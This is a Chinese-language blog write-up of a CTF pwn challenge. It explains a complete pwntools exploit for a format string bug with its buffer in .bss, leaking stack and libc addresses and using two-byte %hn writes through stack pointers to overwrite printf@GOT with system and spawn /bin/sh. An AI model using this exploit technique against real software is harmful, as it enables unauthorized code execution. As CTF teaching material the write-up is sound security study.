个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
参考网址:
http://www.starssgo.top/2019/12/06/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%9C%A8bss%E6%AE%B5%E7%9A%84%E5%A4%84%E7%90%86/
第一次遇到这种题,想写wp记录一下,但确实不知道该怎么写才通俗易懂,最后还是感觉结合exp一步一步调试应该会更通俗易懂。
题目分析
开启了NX。
拖进ida里找到关键函数,很明显存在格式化字符串漏洞,
值得注意的是,s1在Bss段。
和之前的格式化不一样,这次的值是在bss段中,那么我们无法用之前的方法任意地址读写了。
我们需要在栈中找到可以指向栈中的地址的地址。我也不知道该怎么描述这个思路,下面根据exp来看吧。
利用分析
首先我们在080485AF
下断点。这个地址即存在格式化字符串漏洞那里的地址。我们需要看一下当时的栈空间
这就是第一次断在080485AF
的栈情况
到此就直接来看exp吧。
PS:下面的截图是我重新运行后的,所以栈地址和上图不一样。
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = process("./login")
elf = ELF("login")
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
printf_got = elf.got['printf']
gdb.attach(p)
p.recvuntil("name: \n")
p.sendline("wei")
p.recvuntil("password: \n")
p.sendline("AAAA%6$08xBBBB%15$08x")
def DoubSzWt(number,deviation):
payload='%'+str(number)+'c%'+str(deviation)+'$hn'
return payload
p.recvuntil("AAAA")
stack_addr = int(p.recv(8),16)
p.recvuntil("BBBB")
__libc_start_main = int(p.recv(8),16) - 262 #
success("stack_addr = "+hex(stack_addr))
success("__libc_start_main = "+hex(__libc_start_main))
# obj = LibcSearcher("__libc_start_main",__libc_start_main)
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
system = libc_base + libc.symbols['system']
success("libc_base = "+hex(libc_base))
success("system = "+hex(system))
stack_addr_0_4 = int(hex(stack_addr)[2:6],16)
stack_addr_4_8 = int(hex(stack_addr)[6:10],16)
printf_got_4_8 = int(hex(printf_got)[6:10],16)
sys_addr_0_4 = int(hex(system)[2:6],16)
sys_addr_4_8 = int(hex(system)[6:10],16)
p.sendafter('Try again!\n',DoubSzWt(stack_addr_4_8-12,6))
p.sendafter('Try again!\n',DoubSzWt(int('B014',16),10))
p.sendafter('Try again!\n',DoubSzWt(stack_addr_4_8+4,6))
p.sendafter('Try again!\n',DoubSzWt(int('B016',16),10))
payload='%'+str(sys_addr_4_8)+'c%7$hn'+'%'+str(sys_addr_0_4-sys_addr_4_8)+'c%11$hn'
p.sendafter('Try again!\n',payload)
p.sendafter('Try again!\n','/bin/sh\x00')
p.interactive()
一些没用的我就不说了,直接从下面这句代码开始
p.sendline("AAAA%6$08xBBBB%15$08x")
运行上面的代码后,会泄露出两个地址,如下图。第一个地址ffeccb88
是偏移为6的地址,也就是ebp指向的值(对照上图可知)。第二个地址是f7d2adf6
。偏移为15,其实就是libc_start_main+262
的地址,只要再减去262即可得到libc_start_main
的真实地址,从而算出Libc基址。
以下代码用来接收获取的地址。
p.recvuntil("AAAA")
stack_addr = int(p.recv(8),16)
p.recvuntil("BBBB")
__libc_start_main = int(p.recv(8),16) - 262 #
以下代码算出libc基址,并获取system真实地址
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
system = libc_base + libc.symbols['system']
因为想通过格式化字符串覆写地址,所以每次覆写两个字节,如果一下子覆盖四个字节太大了。这里我们将stack_addr
分开。
stack_addr_0_4
表示stack_addr
的第0位至第4位,stack_addr_4_8
表示stack_addr
的第4位至第8位
stack_addr_0_4 = int(hex(stack_addr)[2:6],16)
stack_addr_4_8 = int(hex(stack_addr)[6:10],16)
printf_got_4_8 = int(hex(printf_got)[6:10],16)
sys_addr_0_4 = int(hex(system)[2:6],16)
sys_addr_4_8 = int(hex(system)[6:10],16)
执行如下代码之前,
p.sendafter('Try again!\n',DoubSzWt(stack_addr_4_8-12,6))
执行代码之后,可以看到直接将0xffeccb98
修改为0xffeccb7c
。
执行下面代码前也就是上图了,
p.sendafter('Try again!\n',DoubSzWt(int('B014',16),10))
执行后如下,可以发现偏移量改为了10,也就是0xffeccb7c
,值为B014
,因为这是[email protected]
的地址的后四位,如下图,可以看到成功修改了0xffeccb7c
的值为[email protected]
执行前就是上图
p.sendafter('Try again!\n',DoubSzWt(stack_addr_4_8+4,6))
执行之后,将0xffeccb7c
又修改为0xffeccb8c
。
执行之前如上图
p.sendafter('Try again!\n',DoubSzWt(int('B016',16),10))
执行之后如下图。0xffeccb7c
指向[email protected]
的后两个字节,0xffeccb8c
指向[email protected]
的前两个字节。这里的前两个字节指的就是(例如0xffffccbc,前两个字节就是ffff,后两个就是ccbc)。
此时我们已经布置好栈了。一个指向[email protected]
的前两个字节,一个指向[email protected]
的后两个字节,现在我们只要两个字节两个字节的填充即可。
这个payload会通过格式化字符串两个字节两个字节的覆盖[email protected]
。覆盖为system函数的真实地址
payload='%'+str(sys_addr_4_8)+'c%7$hn'+'%'+str(sys_addr_0_4-sys_addr_4_8)+'c%11$hn'
p.sendafter('Try again!\n',payload)
覆盖前。
覆盖后,可以发现已经成功覆盖为system的地址
然后直接发送/bin/sh
即可
p.sendafter('Try again!\n','/bin/sh\x00')
欢迎一起学习交流,共同进步,欢迎加入信息安全小白群